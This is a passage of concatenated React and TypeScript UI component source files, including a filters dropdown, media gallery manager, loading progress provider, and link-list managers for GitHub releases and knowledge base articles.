className={cn(titleClasses, 'text-h3')} style={{ textAlign: 'left' }}>\n                {section.title}\n              </span>\n              {section.badge && (\n                <StatusBadge\n                  text={section.badge.text}\n                  variant={section.badge.variant || 'button'}\n                  colorScheme={section.badge.colorScheme || 'default'}\n                />\n              )}\n            </div>\n            {section.subtitle && (\n              <div className={cn(subtitleClasses, 'text-h6 w-full')} style={{ textAlign: 'left' }}>\n                {section.subtitle}\n              </div>\n            )}\n          </div>\n        </div>\n      )}\n    </Button>\n  )\n}\n\nexport const SectionSelector: React.FC<SectionSelectorProps> = ({\n  sections,\n  activeSection,\n  onSectionChange,\n  disabled = false,\n  className,\n  buttonClassName,\n  activeButtonClassName,\n  layout = 'vertical',\n  buttonWidth = 'auto',\n  minHeight,\n  showDescription = true\n}) => {\n  const containerClasses = cn(\n    layout === 'wrap' ? 'flex flex-wrap gap-2 md:gap-4 lg:gap-6' : 'flex flex-col gap-2',\n    className\n  )\n\n  const getButtonWidthClasses = () => {\n    switch (buttonWidth) {\n      case 'full':\n        return 'w-full'\n      case 'responsive':\n        return 'w-full md:w-[calc(50%-8px)] lg:w-auto'\n      default:\n        return ''\n    }\n  }\n\n  const widthClasses = getButtonWidthClasses()\n\n  return (\n    <div className={containerClasses}>\n      {sections.map((section) => (\n        <SectionButton\n          key={section.id}\n          section={section}\n          isActive={activeSection === section.id}\n          disabled={disabled}\n          onClick={() => onSectionChange(section.id)}\n          layout={layout}\n          widthClasses={widthClasses}\n          buttonClassName={buttonClassName}\n          activeButtonClassName={activeButtonClassName}\n          minHeight={minHeight}\n          showDescription={showDescription}\n        />\n      ))}\n    </div>\n  )\n}\n\nexport default SectionSelector","\"use client\"\n\nimport * as React from \"react\"\nimport { Button } from \"../ui\"\nimport { useEffect, useRef, useState } from \"react\"\nimport { cn } from \"../../utils/cn\"\nimport { CheckboxCheckmarkIcon } from \"../icons-v2-generated/signs-and-symbols/checkbox-checkmark-icon\"\n\n// Types for filter configuration\nexport interface FilterOption {\n  id: string\n  label: string\n  value: string | number | boolean\n  count?: number\n  type?: 'option' | 'separator'\n}\n\nexport interface FilterSection {\n  id: string\n  title: string\n  type: \"checkbox\" | \"radio\" | \"select\"\n  options: FilterOption[]\n  allowSelectAll?: boolean\n  defaultSelected?: string[]\n}\n\nexport interface FiltersDropdownProps {\n  triggerElement?: React.ReactNode // Custom trigger element\n  triggerLabel?: string // Label for default trigger button\n  sections: FilterSection[]\n  onApply: (filters: Record<string, string[]>) => void\n  onReset?: () => void\n  className?: string\n  dropdownClassName?: string\n  /**\n   * Currently applied filters to preserve state when reopening.\n   * Pass the same filters that were applied via onApply callback.\n   *\n   * @example\n   * ```tsx\n   * const { appliedFilters, handleApply } = useFiltersDropdown(sections)\n   *\n   * <FiltersDropdown\n   *   sections={sections}\n   *   onApply={handleApply}\n   *   currentFilters={appliedFilters}\n   *   triggerLabel=\"STATUS\"\n   * />\n   * ```\n   */\n  currentFilters?: Record<string, string[]>\n  placement?: \"bottom-start\" | \"bottom-end\" | \"bottom\"\n  /**\n   * Enable responsive mobile behavior (full width on mobile)\n   * @default true\n   */\n  responsive?: boolean\n}\n\n// Custom checkbox component\nconst FilterCheckbox: React.FC<{\n  checked: boolean\n  disabled?: boolean\n  className?: string\n}> = ({ checked, disabled = false, className }) => {\n  return (\n    <div\n      role=\"checkbox\"\n      aria-checked={checked}\n      className={cn(\n        \"relative h-6 w-6 rounded-[6px] transition-all duration-150 shrink-0\",\n        checked ? \"bg-ods-accent\" : \"bg-ods-bg-surface\",\n        !checked && \"border-2 border-ods-border\",\n        disabled && \"opacity-50\",\n        className\n      )}\n    >\n      {checked && (\n        <div className=\"absolute inset-0 flex items-center justify-center text-ods-text-on-accent\">\n          <CheckboxCheckmarkIcon size={10} />\n        </div>\n      )}\n    </div>\n  )\n}\n\n// Animation timings (ms). Must stay in sync with the `duration-200` Tailwind\n// class on the dropdown panel below.\nconst ANIMATION_MS = 200\n\nexport const FiltersDropdown: React.FC<FiltersDropdownProps> = ({\n  triggerElement,\n  triggerLabel = \"Filters\",\n  sections,\n  onApply,\n  onReset,\n  className,\n  dropdownClassName,\n  currentFilters,\n  placement = \"bottom-start\",\n  responsive = true\n}) => {\n  const [isOpen, setIsOpen] = useState(false)\n  // `shouldRender` controls mount/unmount.\n  // `isVisible` controls the open/closed *visual* state and drives the CSS transition.\n  // Splitting them lets us mount in the closed visual state, then flip to open on\n  // the next frame so the browser actually transitions (instead of teleporting).\n  const [shouldRender, setShouldRender] = useState(false)\n  const [isVisible, setIsVisible] = useState(false)\n  const [isMobile, setIsMobile] = useState(false)\n  const [actualPlacement, setActualPlacement] = useState(placement)\n  const dropdownRef = useRef<HTMLDivElement>(null)\n  const triggerRef = useRef<HTMLButtonElement | HTMLDivElement>(null)\n  const containerRef = useRef<HTMLDivElement>(null)\n\n  // Drive mount/unmount and visual state from `isOpen`.\n  //\n  // Open  : mount with closed styles → wait two frames, flip to visible → CSS transition runs.\n  // Close : flip to invisible → CSS transition runs → unmount after duration.\n  //\n  // Because we use CSS transitions (not @keyframes), interrupting mid-animation\n  // smoothly continues from the current computed value — no flicker.\n  useEffect(() => {\n    if (isOpen) {\n      setShouldRender(true)\n      // Double rAF: the first frame guarantees the element is mounted and the\n      // closed styles have been painted; the second flips to the open state so\n      // the browser sees a transitionable property change. A single rAF can\n      // sometimes fire in the same frame as mount, suppressing the transition.\n      let id2 = 0\n      const id1 = requestAnimationFrame(() => {\n        id2 = requestAnimationFrame(() => setIsVisible(true))\n      })\n      return () => {\n        cancelAnimationFrame(id1)\n        cancelAnimationFrame(id2)\n      }\n    }\n    setIsVisible(false)\n    const t = setTimeout(() => setShouldRender(false), ANIMATION_MS)\n    return () => clearTimeout(t)\n  }, [isOpen])\n\n  // Check if mobile on mount and resize\n  useEffect(() => {\n    if (!responsive) {\n      setIsMobile(false)\n      return\n    }\n\n    const checkMobile = () => {\n      setIsMobile(window.innerWidth < 640) // sm breakpoint\n    }\n\n    checkMobile()\n    window.addEventListener('resize', checkMobile)\n    return () => window.removeEventListener('resize', checkMobile)\n  }, [responsive])\n\n  useEffect(() => {\n    if (!isOpen || isMobile || !triggerRef.current) return\n\n    const calculateOptimalPlacement = () => {\n      const trigger = triggerRef.current\n      if (!trigger) return\n\n      const triggerRect = trigger.getBoundingClientRect()\n      const dropdownWidth = 320 // Fixed width from the dropdown\n      const viewportWidth = window.innerWidth\n      const viewportHeight = window.innerHeight\n\n      const spaceRight = viewportWidth - triggerRect.right\n      const spaceLeft = triggerRect.left\n      const spaceBelow = viewportHeight - triggerRect.bottom\n\n      let optimalPlacement = placement\n\n      if (placement === \"bottom-start\" && spaceRight < dropdownWidth && spaceLeft >= dropdownWidth) {\n        optimalPlacement = \"bottom-end\"\n      } else if (placement === \"bottom-end\" && spaceLeft < dropdownWidth && spaceRight >= dropdownWidth) {\n        optimalPlacement = \"bottom-start\"\n      } else if (placement === \"bottom\" && (spaceLeft < dropdownWidth / 2 || spaceRight < dropdownWidth / 2)) {\n        optimalPlacement = spaceLeft > spaceRight ? \"bottom-end\" : \"bottom-start\"\n      }\n\n      setActualPlacement(optimalPlacement)\n    }\n\n    calculateOptimalPlacement()\n    window.addEventListener('resize', calculateOptimalPlacement)\n\n    return () => window.removeEventListener('resize', calculateOptimalPlacement)\n  }, [isOpen, isMobile, placement])\n\n  // Initialize state with current filters or defaults\n  const [selectedFilters, setSelectedFilters] = useState<Record<string, string[]>>(() => {\n    if (currentFilters) {\n      return { ...currentFilters }\n    }\n    const initial: Record<string, string[]> = {}\n    sections.forEach(section => {\n      initial[section.id] = section.defaultSelected || []\n    })\n    return initial\n  })\n\n  // Sync with external changes to currentFilters\n  const currentFiltersStr = currentFilters ? JSON.stringify(currentFilters) : ''\n  useEffect(() => {\n    if (currentFilters) {\n      setSelectedFilters({ ...currentFilters })\n    }\n  }, [currentFiltersStr])\n\n  // Closing must NOT reset `actualPlacement`.\n  //\n  // The panel stays mounted through its exit transition (see `shouldRender`), so\n  // a reset here lands on something still on screen: a dropdown that had flipped\n  // to the opposite side snaps back the moment it starts fading, sliding roughly\n  // its own width sideways on the way out. It showed up on whichever filter sits\n  // nearest an edge — the last column on tablet, and the same column on desktop\n  // once the window is narrow enough to force the flip.\n  //\n  // Nothing is lost by dropping it: opening recomputes the placement from the\n  // trigger's current rect (see the effect above), so the value left behind is\n  // never read again.\n\n  // Close dropdown when clicking outside\n  useEffect(() => {\n    const handleClickOutside = (event: MouseEvent) => {\n      // Check if click is outside the entire component container\n      if (\n        containerRef.current &&\n        !containerRef.current.contains(event.target as Node)\n      ) {\n        setIsOpen(false)\n      }\n    }\n\n    if (isOpen) {\n      // Use a small delay to avoid closing immediately after opening\n      const timer = setTimeout(() => {\n        document.addEventListener('mousedown', handleClickOutside)\n      }, 0)\n\n      return () => {\n        clearTimeout(timer)\n        document.removeEventListener('mousedown', handleClickOutside)\n      }\n    }\n  }, [isOpen])\n\n  // Handle escape key\n  useEffect(() => {\n    const handleEscape = (e: KeyboardEvent) => {\n      if (e.key === 'Escape' && isOpen) {\n        setIsOpen(false)\n      }\n    }\n    document.addEventListener('keydown', handleEscape)\n    return () => document.removeEventListener('keydown', handleEscape)\n  }, [isOpen])\n\n  const handleToggleOption = (sectionId: string, optionId: string, sectionType: string) => {\n    setSelectedFilters(prev => {\n      const current = prev[sectionId] || []\n\n      if (sectionType === \"radio\") {\n        return {\n          ...prev,\n          [sectionId]: [optionId]\n        }\n      } else {\n        if (current.includes(optionId)) {\n          return {\n            ...prev,\n            [sectionId]: current.filter(id => id !== optionId)\n          }\n        } else {\n          return {\n            ...prev,\n            [sectionId]: [...current, optionId]\n          }\n        }\n      }\n    })\n  }\n\n  const handleSelectAll = (sectionId: string, section: FilterSection) => {\n    const allOptionIds = section.options.map(opt => opt.id)\n    const currentSelection = selectedFilters[sectionId] || []\n    const isAllSelected = allOptionIds.every(id => currentSelection.includes(id))\n\n    setSelectedFilters(prev => ({\n      ...prev,\n      [sectionId]: isAllSelected ? [] : allOptionIds\n    }))\n  }\n\n  const handleReset = () => {\n    const defaults: Record<string, string[]> = {}\n    sections.forEach(section => {\n      defaults[section.id] = section.defaultSelected || []\n    })\n    setSelectedFilters(defaults)\n    onReset?.()\n    setIsOpen(false)\n  }\n\n  const handleApply = () => {\n    onApply(selectedFilters)\n    // No placement reset — see the note above the outside-click effect. `Reset`\n    // never did one, which is why only Apply and the dismiss paths slid.\n    setIsOpen(false)\n  }\n\n  const getActiveFiltersCount = () => {\n    return Object.values(selectedFilters).reduce((acc: number, curr: string[]) => acc + curr.length, 0)\n  }\n\n  // Dropdown positioning classes based on placement and mobile state\n  const getDropdownPositionClasses = () => {\n    if (isMobile) {\n      // On mobile, center horizontally with left offset for minimized sidebar\n      // Vertically position right under the trigger button\n      return \"top-full mt-2\"\n    }\n\n    // Desktop positioning based on placement prop\n    const desktopClasses = {\n      \"bottom-start\": \"top-full left-0 mt-2\",\n      \"bottom-end\": \"top-full right-0 mt-2\",\n      \"bottom\": \"top-full left-1/2 -translate-x-1/2 mt-2\"\n    }\n\n    return desktopClasses[actualPlacement]\n  }\n\n  return (\n    <div ref={containerRef} className={cn(\"relative inline-block\", className)}>\n      {/* Trigger */}\n      {triggerElement ? (\n        <div ref={triggerRef as React.RefObject<HTMLDivElement>} onClick={() => setIsOpen(!isOpen)}>\n          {triggerElement}\n        </div>\n      ) : (\n        <button\n          ref={triggerRef as React.RefObject<HTMLButtonElement>}\n          onClick={() => setIsOpen(!isOpen)}\n          className={cn(\n            \"text-h5 transition-colors flex items-center gap-1.5\",\n            getActiveFiltersCount() > 0\n              ? \"text-ods-accent hover:text-ods-accent/80\"\n              : \"text-ods-text-secondary hover:text-ods-text-primary\",\n          )}\n        >\n          {triggerLabel}\n          {getActiveFiltersCount() > 0 && (\n            <span className=\"size-1.5 rounded-full bg-ods-accent\" />\n          )}\n        </button>\n      )}\n\n      {/* Dropdown Panel — kept mounted briefly on close to play exit transition. */}\n      {shouldRender && (\n        <div\n          ref={dropdownRef}\n          className={cn(\n            \"z-50 origin-top\",\n            // CSS transitions (not @keyframes) so mid-animation interruption\n            // interpolates smoothly from the current computed value.\n            \"transition-[opacity,transform] duration-200 ease-out\",\n            \"will-change-[opacity,transform]\",\n            isVisible\n              ? \"opacity-100 scale-100 translate-y-0\"\n              : \"opacity-0 scale-95 -translate-y-2 pointer-events-none\",\n            isMobile\n              ? \"fixed left-4 right-4 max-w-[320px] mx-auto\"\n              : \"absolute w-[320px]\",\n            getDropdownPositionClasses(),\n            dropdownClassName\n          )}\n          style={isMobile ? {\n            top: triggerRef.current ? triggerRef.current.getBoundingClientRect().bottom + window.scrollY + 8 : 0\n          } : undefined}\n        >\n          <div className=\"bg-ods-bg rounded-md border border-ods-border p-4 shadow-xl flex flex-col overflow-hidden\">\n            <div className=\"flex-1 min-h-0 overflow-y-auto max-h-[250px]\">\n            {sections.map((section, sectionIndex) => {\n              const sectionSelection = selectedFilters[section.id] || []\n              const allSelected = section.options.every(opt =>\n                sectionSelection.includes(opt.id)\n              )\n\n              return (\n                <div key={section.id} className={cn(\n                  \"space-y-2\",\n                  sectionIndex > 0 && \"mt-4\"\n                )}>\n                  {/* Section Header — sticky so title + Select All stay visible while options scroll. */}\n                  <div className=\"sticky top-0 z-10 bg-ods-bg flex items-center justify-between pb-2\">\n                    <h3 className=\"text-h5 text-ods-text-secondary\">\n                      {section.title}\n                    </h3>\n                    {section.allowSelectAll && section.type === \"checkbox\" && (\n                      <button\n                        onClick={() => handleSelectAll(section.id, section)}\n                        className=\"text-h6 text-ods-text-secondary hover:text-ods-text-primary underline transition-colors\"\n                      >\n                        {allSelected ? \"Deselect All\" : \"Select All\"}\n                      </button>\n                    )}\n                  </div>\n\n                  {/* Options Container */}\n                  <div className=\"bg-ods-bg rounded-md border border-ods-border overflow-hidden\">\n                    {section.options.map((option, index) => {\n                      // Handle separator type\n                      if (option.type === 'separator') {\n                        return (\n                          <div\n                            key={`${section.id}-separator-${index}`}\n                            className=\"border-t border-ods-border my-1\"\n                          />\n                        )\n                      }\n\n                      const isSelected = sectionSelection.includes(option.id)\n                      const isLast = index === section.options.length - 1\n\n                      return (\n                        <button\n                          type=\"button\"\n                          key={`${section.id}-${option.id}-${index}`}\n                          onClick={() => handleToggleOption(section.id, option.id, section.type)}\n                          className={cn(\n                            \"flex items-center gap-[var(--spacing-system-s)] p-[var(--spacing-system-s)] w-full text-left\",\n                            isSelected ? \"bg-ods-bg-surface\" : \"bg-ods-bg\",\n                            !isLast && \"border-b border-ods-border\",\n                            \"hover:bg-ods-bg-hover transition-colors\"\n                          )}\n                        >\n                          <FilterCheckbox checked={isSelected} />\n                          <span className=\"flex-1 min-w-0 text-h4 text-ods-text-primary truncate\" title={option.label}>\n                            {option.label}\n                          </span>\n                          {option.count !== undefined && (\n                            <span className=\"shrink-0 text-h6 text-ods-text-secondary\">\n                              {option.count.toLocaleString()}\n                            </span>\n                          )}\n                        </button>\n                      )\n                    })}\n                  </div>\n                </div>\n              )\n            })}\n\n            </div>\n            {/* Action Buttons */}\n            <div className=\"flex gap-3 mt-4 shrink-0\">\n              <Button\n                variant=\"outline\"\n                onClick={handleReset}\n                size=\"default\"\n                className=\"md:w-full!\"\n              >\n                Reset\n              </Button>\n              <Button\n                variant=\"accent\"\n                onClick={handleApply}\n                size=\"default\"\n                className=\"md:w-full!\"\n              >\n                Apply\n              </Button>\n            </div>\n          </div>\n        </div>\n      )}\n    </div>\n  )\n}\n\n// Export convenience hook for managing filter state\nexport const useFiltersDropdown = (initialSections: FilterSection[]) => {\n  const [appliedFilters, setAppliedFilters] = useState<Record<string, string[]>>(() => {\n    const initial: Record<string, string[]> = {}\n    initialSections.forEach(section => {\n      if (section.defaultSelected) {\n        initial[section.id] = section.defaultSelected\n      }\n    })\n    return initial\n  })\n\n  const handleApply = (filters: Record<string, string[]>) => {\n    setAppliedFilters(filters)\n  }\n\n  const handleReset = () => {\n    const defaults: Record<string, string[]> = {}\n    initialSections.forEach(section => {\n      defaults[section.id] = section.defaultSelected || []\n    })\n    setAppliedFilters(defaults)\n  }\n\n  const getActiveFiltersCount = () => {\n    return Object.values(appliedFilters).reduce((acc: number, curr: string[]) => acc + curr.length, 0)\n  }\n\n  return {\n    appliedFilters,\n    handleApply,\n    handleReset,\n    getActiveFiltersCount\n  }\n}\n","\"use client\";\n\nimport { ArrayEntryManager } from './array-entry-manager';\nimport { ExternalLink } from 'lucide-react';\n\nexport interface GitHubReleaseLink {\n  github_release_url: string; // Full GitHub release URL\n  display_order?: number;\n}\n\ninterface GitHubReleasesManagerProps {\n  releases: GitHubReleaseLink[];\n  onChange: (releases: GitHubReleaseLink[]) => void;\n  className?: string;\n}\n\nexport function GitHubReleasesManager({\n  releases,\n  onChange,\n  className = ''\n}: GitHubReleasesManagerProps) {\n  return (\n    <ArrayEntryManager\n      title=\"GitHub Releases\"\n      items={releases}\n      onChange={onChange}\n      fieldKey=\"github_release_url\"\n      placeholder=\"https://github.com/org/repo/releases/tag/v2.0.0\"\n      emptyMessage='No GitHub releases linked. Click \"Add Release\" to link releases.'\n      addButtonText=\"Add Release\"\n      icon={<ExternalLink className=\"w-5 h-5 text-ods-text-secondary\" />}\n      className={className}\n    />\n  );\n}\n","\"use client\";\n\nimport { ArrayEntryManager } from './array-entry-manager';\nimport { FileText } from 'lucide-react';\n\nexport interface KBLink {\n  kb_article_path: string; // Relative path like /api/authentication/api-keys.md\n  display_order?: number;\n}\n\ninterface KnowledgeBaseLinksManagerProps {\n  links: KBLink[];\n  onChange: (links: KBLink[]) => void;\n  className?: string;\n}\n\nexport function KnowledgeBaseLinksManager({\n  links,\n  onChange,\n  className = ''\n}: KnowledgeBaseLinksManagerProps) {\n  return (\n    <ArrayEntryManager\n      title=\"Knowledge Base Articles\"\n      items={links}\n      onChange={onChange}\n      fieldKey=\"kb_article_path\"\n      placeholder=\"Relative path (e.g., /api/authentication/api-keys.md)\"\n      emptyMessage='No knowledge base articles linked. Click \"Add Article\" to link articles.'\n      addButtonText=\"Add Article\"\n      icon={<FileText className=\"w-5 h-5 text-ods-text-secondary\" />}\n      className={className}\n    />\n  );\n}\n","\"use client\"\n\nimport type React from \"react\"\nimport { createContext, useContext, useState, useEffect } from \"react\"\nimport { Progress } from \"../ui/progress\"\n\ntype LoadingContextType = {\n  isLoading: boolean\n  setIsLoading: (loading: boolean) => void\n}\n\nconst LoadingContext = createContext<LoadingContextType | undefined>(undefined)\n\nexport function LoadingProvider({ children }: { children: React.ReactNode }) {\n  const [isLoading, setIsLoading] = useState(false)\n  const [progress, setProgress] = useState(0)\n\n  // Simulate progress when loading\n  useEffect(() => {\n    let interval: NodeJS.Timeout\n\n    if (isLoading) {\n      setProgress(10)\n\n      interval = setInterval(() => {\n        setProgress((prevProgress) => {\n          if (prevProgress >= 90) {\n            clearInterval(interval)\n            return prevProgress\n          }\n          return prevProgress + (90 - prevProgress) * 0.1\n        })\n      }, 200)\n    } else {\n      setProgress(100)\n      const timeout = setTimeout(() => {\n        setProgress(0)\n      }, 500)\n\n      return () => clearTimeout(timeout)\n    }\n\n    return () => {\n      if (interval) clearInterval(interval)\n    }\n  }, [isLoading])\n\n  return (\n    <LoadingContext.Provider value={{ isLoading, setIsLoading }}>\n      {progress > 0 && (\n        <Progress\n          value={progress}\n          className=\"fixed top-0 left-0 right-0 z-50 h-1 w-full rounded-none bg-transparent\"\n          indicatorClassName=\"bg-white transition-all duration-300 ease-in-out\"\n        />\n      )}\n      {children}\n    </LoadingContext.Provider>\n  )\n}\n\nexport function useLoading() {\n  const context = useContext(LoadingContext)\n  if (context === undefined) {\n    throw new Error(\"useLoading must be used within a LoadingProvider\")\n  }\n  return context\n}\n","\"use client\";\n\nimport React, { useState, useRef, useCallback } from 'react';\nimport { Modal, ModalHeader, ModalTitle, Button, Card } from '../ui';\nimport {\n  Upload,\n  Image as ImageIcon,\n  Video as VideoIcon,\n  Trash2,\n  Loader2,\n  GripVertical,\n  Plus\n} from 'lucide-react';\nimport Image from '../../embed-shims/next-image';\nimport { Video } from './video';\n\nexport interface MediaItem {\n  id?: string | number; // Optional for new items\n  media_type: 'image' | 'video' | 'screenshot' | 'demo';\n  media_url: string;\n  title?: string;\n  description?: string;\n  display_order?: number;\n  _uploading?: boolean;\n}\n\ninterface MediaGalleryManagerProps {\n  media: MediaItem[];\n  onChange: (media: MediaItem[]) => void;\n  onUpload: (file: File, mediaType: 'image' | 'video') => Promise<string>;\n  isUploading?: boolean;\n  showInModal?: boolean;\n  modalTitle?: string;\n  className?: string;\n}\n\n/**\n * Unified Media Gallery Manager\n * Handles upload, display, reordering, and deletion of media items\n * Used across events, product releases, and any content with media galleries\n */\nexport function MediaGalleryManager({\n  media,\n  onChange,\n  onUpload,\n  isUploading = false,\n  showInModal = false,\n  modalTitle = 'Media Gallery',\n  className = ''\n}: MediaGalleryManagerProps) {\n  const fileInputRef = useRef<HTMLInputElement>(null);\n  const [deletingIndex, setDeletingIndex] = useState<number | null>(null);\n  const [draggedIndex, setDraggedIndex] = useState<number | null>(null);\n\n  const handleFileSelect = useCallback(async (event: React.ChangeEvent<HTMLInputElement>) => {\n    const file = event.target.files?.[0];\n    if (!file) return;\n\n    // Determine media type\n    let mediaType: 'image' | 'video';\n    if (file.type.startsWith('image/')) {\n      mediaType = 'image';\n    } else if (file.type.startsWith('video/')) {\n      mediaType = 'video';\n    } else {\n      return;\n    }\n\n    try {\n      const url = await onUpload(file, mediaType);\n\n      // Add new media item\n      onChange([...media, {\n        media_type: mediaType === 'image' ? 'screenshot' : 'demo',\n        media_url: url,\n        title: file.name,\n        display_order: media.length\n      }]);\n\n      // Reset file input\n      if (fileInputRef.current) {\n        fileInputRef.current.value = '';\n      }\n    } catch (error) {\n      console.error('Upload failed:', error);\n    }\n  }, [media, onChange, onUpload]);\n\n  const handleDeleteMedia = useCallback((index: number) => {\n    setDeletingIndex(index);\n    onChange(media.filter((_, i) => i !== index));\n    setDeletingIndex(null);\n  }, [media, onChange]);\n\n  const handleDragStart = useCallback((index: number) => {\n    setDraggedIndex(index);\n  }, []);\n\n  const handleDragOver = useCallback((e: React.DragEvent) => {\n    e.preventDefault();\n  }, []);\n\n  const handleDrop = useCallback((e: React.DragEvent, targetIndex: number) => {\n    e.preventDefault();\n\n    if (draggedIndex === null || draggedIndex === targetIndex) {\n      setDraggedIndex(null);\n      return;\n    }\n\n    const newMedia = [...media];\n    const [draggedItem] = newMedia.splice(draggedIndex, 1);\n    newMedia.splice(targetIndex, 0, draggedItem);\n\n    onChange(newMedia.map((item, i) => ({ ...item, display_order: i })));\n    setDraggedIndex(null);\n  }, [media, draggedIndex, onChange]);\n\n  const renderMediaItem = useCallback((mediaItem: MediaItem, index: number) => {\n    const isDeleting = deletingIndex === index;\n\n    return (\n      <Card\n        key={index}\n        className=\"relative group border-ods-border hover:border-ods-accent/30 transition-colors\"\n        draggable\n        onDragStart={() => handleDragStart(index)}\n        onDragOver={handleDragOver}\n        onDrop={(e) => handleDrop(e, index)}\n      >\n        {/* Drag Handle */}\n        <div className=\"absolute top-2 left-2 opacity-0 group-hover:opacity-100 transition-opacity cursor-move z-10\">\n          <GripVertical className=\"h-4 w-4 text-ods-text-on-dark drop-shadow\" />\n        </div>\n\n        {/* Delete Button */}\n        <div className=\"absolute top-2 right-2 opacity-0 group-hover:opacity-100 transition-opacity z-10\">\n          <Button\n            type=\"button\"\n            variant=\"outline\"\n            size=\"small-legacy\"\n            onClick={() => handleDeleteMedia(index)}\n            disabled={isDeleting}\n            className=\"h-8 w-8 p-0 bg-ods-error hover:bg-ods-error-hover border-ods-error\"\n          >\n            {isDeleting ? (\n              <Loader2 className=\"h-4 w-4 animate-spin text-ods-text-on-dark\" />\n            ) : (\n              <Trash2 className=\"h-4 w-4 text-ods-text-on-dark\" />\n            )}\n          </Button>\n        </div>\n\n        {/* Media Content */}\n        <div className=\"aspect-video relative bg-ods-bg rounded-lg overflow-hidden\">\n          {mediaItem.media_type === 'video' || mediaItem.media_type === 'demo' ? (\n            // <Video> SSOT (MuxPlayer) — plays Mux HLS + MP4 alike;\n            // fit=\"cover\" crops to the aspect-video cell.\n            <Video kind=\"file\" url={mediaItem.media_url} fit=\"cover\" className=\"w-full h-full\" />\n          ) : (\n            <Image\n              src={mediaItem.media_url}\n              alt={mediaItem.title || 'Media'}\n              fill\n              className=\"object-cover\"\n              sizes=\"(max-width: 768px) 100vw, (max-width: 1200px) 50vw, 33vw\"\n            />\n          )}\n        </div>\n\n        {/* Media Info */}\n        <div className=\"p-3\">\n          <div className=\"flex items-center gap-2 mb-1\">\n            {mediaItem.media_type === 'video' || mediaItem.media_type === 'demo' ? (\n              <VideoIcon className=\"h-4 w-4 text-ods-text-secondary\" />\n            ) : (\n              <ImageIcon className=\"h-4 w-4 text-ods-text-secondary\" />\n            )}\n            <span className=\"text-h6 text-ods-text-primary capitalize\">\n              {mediaItem.media_type}\n            </span>\n          </div>\n          {mediaItem.title && (\n            <p className=\"text-h6 text-ods-text-secondary truncate\">\n              {mediaItem.title}\n            </p>\n          )}\n        </div>\n      </Card>\n    );\n  }, [deletingIndex, handleDragStart, handleDragOver, handleDrop, handleDeleteMedia]);\n\n  const content = (\n    <div className={`space-y-6 ${className}`}>\n      {/* Upload Section */}\n      <div className=\"border-2 border-dashed border-ods-border rounded-lg p-6 text-center hover:border-ods-accent/50 transition-colors\">\n        <div className=\"flex flex-col items-center gap-4\">\n          <div className=\"w-12 h-12 rounded-full bg-ods-card flex items-center justify-center\">\n            {isUploading ? (\n              <Loader2 className=\"h-6 w-6 animate-spin text-ods-accent\" />\n            ) : (\n              <Upload className=\"h-6 w-6 text-ods-accent\" />\n            )}\n          </div>\n          <div>\n            <h3 className=\"text-h3 text-ods-text-primary mb-1\">\n              {isUploading ? 'Uploading...' : 'Upload Media'}\n            </h3>\n            <p className=\"text-h6 text-ods-text-secondary\">\n              Drag and drop or click to select images and videos\n            </p>\n            <p className=\"text-h6 text-ods-text-secondary mt-1\">\n              Maximum file size: 50MB\n            </p>\n          </div>\n          <Button\n            type=\"button\"\n            variant=\"outline\"\n            onClick={() => fileInputRef.current?.click()}\n            disabled={isUploading}\n            leftIcon={<Plus className=\"h-4 w-4\" />}\n            className=\"text-h6 font-bold\"\n          >\n            {isUploading ? 'Uploading...' : 'Select Files'}\n          </Button>\n        </div>\n      </div>\n\n      <input\n        ref={fileInputRef}\n        type=\"file\"\n        accept=\"image/*,video/*\"\n        onChange={handleFileSelect}\n        className=\"hidden\"\n        disabled={isUploading}\n      />\n\n      {/* Media Grid */}\n      {media.length === 0 ? (\n        <div className=\"text-center py-8\">\n          <ImageIcon className=\"h-12 w-12 text-ods-text-secondary mx-auto mb-4\" />\n          <h3 className=\"text-h3 text-ods-text-primary mb-2\">\n            No media uploaded yet\n          </h3>\n          <p className=\"text-h6 text-ods-text-secondary\">\n            Upload your first image or video to get started\n          </p>\n        </div>\n      ) : (\n        <div>\n          <div className=\"flex items-center justify-between mb-4\">\n            <h3 className=\"text-h3 text-ods-text-primary\">\n              Media Gallery ({media.length})\n            </h3>\n            <p className=\"text-h6 text-ods-text-secondary\">\n              Drag to reorder\n            </p>\n          </div>\n          <div className=\"grid grid-cols-1 md:grid-cols-2 lg:grid-cols-3 gap-4\">\n            {media.map((item, index) => renderMediaItem(item, index))}\n          </div>\n        </div>\n      )}\n    </div>\n  );\n\n  return content;\n}\n","\"use client\"\n\nimport React from 'react'\nimport { Button } from '../ui/button'\nimport { ArrowRight } from 'lucide-react'\n\ninterface MoreAboutButtonProps {\n  onClick?: () => void\n  href?: string\n  className?: string\n}\n\nconst MoreAboutButton: React.FC<MoreAboutButtonProps> = ({ \n  href = \"/openframe\",\n  className = \"\"\n}) => {\n  return (\n    <Button\n      size=\"default\"\n      variant=\"transparent\"\n      className={`text-[var(--ods-open-yellow-base)] flex-shrink-0 ${className}`}\n      rightIcon={<ArrowRight className=\"w-6 h-6\" />}\n      href={href}\n      openInNewTab={!!href}\n    >\n      Learn more\n    </Button>\n  )\n}\n\nexport { MoreAboutButton }\nexport default MoreAboutButton","\"use client\"\n\n/**\n * OSTypeBadgeGroup Component\n *\n * Displays multiple OS type badges in a horizontal group.\n * Used for showing supported platforms in scripts and other multi-OS contexts.\n */\n\nimport React from 'react'\nimport { OSTypeBadge } from './os-type-badge'\nimport { cn } from '../../utils/cn'\n\nexport interface OSTypeBadgeGroupProps {\n  /** Array of OS type strings (case-insensitive, handles aliases) */\n  osTypes: string[]\n  /** Additional CSS classes */\n  className?: string\n  /** Icon size class (default: w-4 h-4) */\n  iconSize?: string\n  /** Maximum number of badges to display before showing \"+N more\" */\n  maxDisplay?: number\n}\n\n/**\n * OSTypeBadgeGroup - Displays multiple OS type icons in a group (icons only, no labels)\n *\n * @example\n * ```tsx\n * <OSTypeBadgeGroup osTypes={['windows', 'darwin', 'linux']} />\n * <OSTypeBadgeGroup osTypes={['macos', 'linux']} maxDisplay={2} />\n * ```\n */\nexport function OSTypeBadgeGroup({\n  osTypes,\n  className = '',\n  iconSize = 'w-5 h-5',\n  maxDisplay\n}: OSTypeBadgeGroupProps) {\n  if (!osTypes || osTypes.length === 0) {\n    return null\n  }\n\n  const displayOsTypes = maxDisplay && osTypes.length > maxDisplay\n    ? osTypes.slice(0, maxDisplay)\n    : osTypes\n\n  const remainingCount = maxDisplay && osTypes.length > maxDisplay\n    ? osTypes.length - maxDisplay\n    : 0\n\n  return (\n    <div className={cn('flex items-center gap-2 flex-wrap', className)}>\n      {displayOsTypes.map((osType, index) => (\n        <OSTypeBadge\n          key={`${osType}-${index}`}\n          osType={osType}\n          iconOnly\n          